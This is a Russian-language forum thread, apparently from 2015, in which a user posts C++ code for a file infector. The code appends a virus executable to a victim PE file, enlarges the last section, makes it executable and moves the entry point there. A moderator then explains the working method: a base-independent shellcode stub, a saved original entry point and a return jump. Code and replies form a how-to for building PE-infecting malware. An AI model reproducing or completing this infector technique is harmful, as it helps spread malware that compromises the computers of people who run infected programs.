[C++] Файловый инфектор
|
Slash
|
Дата: Суббота, 01.08.2015, 00:39 | Сообщение # 1
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Вообщем, такой код набросал:
Код
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string.h>
#include <stdio.h>
#include <imagehlp.h>
char FileAlignment;
DWORD CureLastSection(char* pFileMap)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
int numSections = pNTHeaders->FileHeader.NumberOfSections;
for(int i = 0; i < numSections; i++){
if(i == numSections-1){
pSectionHeader->Misc.VirtualSize += 0x40000;
pSectionHeader->SizeOfRawData += 0x40000;
pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;
pSectionHeader->Characteristics = 0xa0000020;
pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;
pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;
MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);
MessageBoxA(0, "Last Section Curred!", ":)", 0);
} else pSectionHeader++;
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){
HANDLE hFile, hVir, hMapping;
DWORD d, offset;
DWORD br;
char *mapping, *entry;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
char virBytes[16384];
int i;
DeleteFile( L"C:\\AAA\\1.exe");
CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);
hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if(hFile!=INVALID_HANDLE_VALUE)
{
d = GetFileSize(hFile, 0);
hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
dos = (PIMAGE_DOS_HEADER)mapping;
nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
DWORD dwBytesWritten = 0;
hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
SetFilePointer(hVir, 0, NULL, FILE_BEGIN);
ReadFile(hVir, virBytes, 16384, &br, NULL );
CloseHandle(hVir);
SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);
WriteFile( hFile, virBytes, 16384, &br, NULL );
CureLastSection(mapping);
UnmapViewOfFile(mapping);
CloseHandle(hMapping);
CloseHandle(hFile);
MessageBoxA(0, "OK", ":)", 0);
}else MessageBoxA(0, "Cant open!", ":)!", 0);
return 1;
}
Но не работает - почему?
Алгоритм:
1.Дописываю тело inf.exe в конец жертвы 1.exe
2.Ищу последнюю секцию
3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка)
4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)
|
|
|
|
|
Anton93
|
Дата: Суббота, 01.08.2015, 14:05 | Сообщение # 2
|
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
|
твои ошибки.
1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы
2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.
код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.
п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.
ICQ: 41896
Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 14:11
|
|
|
|
|
Slash
|
Дата: Суббота, 01.08.2015, 16:08 | Сообщение # 3
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Цитата Anton93 ( )
твои ошибки.
1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы
2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.
код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.
п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.
Значит, алгоритм новый должен быть такой:
1.Создаем или расширяем последнюю секцию
2.Туда пишем шелл код на асме, в котором написано что-то типа:вычитываю тело вируса, сохраняю его в отдельный файл, запускаю на исполнение, прыгаю на OEP.
3.Меняем точку входа на начало последней секции с шелл кодом
Вот так вот?
|
|
|
|
|
Anton93
|
Дата: Суббота, 01.08.2015, 17:52 | Сообщение # 4
|
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
|
алгоритм такой
- создаешь новую секцию либо расширяешь последнюю.
- туда записываешь шелл-код потом необходимые данные
- точку входа меняешь на шелл-код тот что в новой либо последней секции
- самому шелл-коду надо передать оригинальную точку входа поэтому ее тоже записываешь. я оставляю в теле шелл-кода места для нее.
в принципе все. про заголовок тоже не забываем 
ICQ: 41896
Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 17:54
|
|
|
|
|
Slash
|
Дата: Суббота, 01.08.2015, 18:12 | Сообщение # 5
|
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
|
Цитата Anton93 ( )
в принципе все
Пасиба. Ток еще одно - я правильно вообще секцию последнюю расширяю или полный бред? Просто, мне кажется так нельзя, что-то я упускаю, и правильно ли считаю SizeOfImage?
|
|
|
|
|